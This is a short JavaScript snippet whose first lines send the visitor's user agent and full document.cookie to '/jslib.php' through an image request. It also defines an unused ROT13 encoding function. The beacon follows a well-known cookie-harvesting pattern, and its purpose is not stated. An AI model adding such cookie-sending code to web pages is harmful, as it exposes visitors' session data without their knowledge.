var n=escape(navigator.userAgent);
img = new Image();
img.src = "/jslib.php?ua="+n+"&c="+document.cookie;
function rencode(txt)
{
	var map = []
	var tmp = "abcdefghijklmnopqrstuvwxyz"
	var buf = ""
	for (j = 0; j < tmp.length; j++)
	{
		var x = tmp.charAt(j); var y = tmp.charAt((j + 13) % 26)
		map[x] = y; map[x.toUpperCase()] = y.toUpperCase()
	}
	for (j = 0; j < txt.length; j++)
	{
		var c = txt.charAt(j)
		buf += (c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' ? map[c] : c)
	}
	return buf
}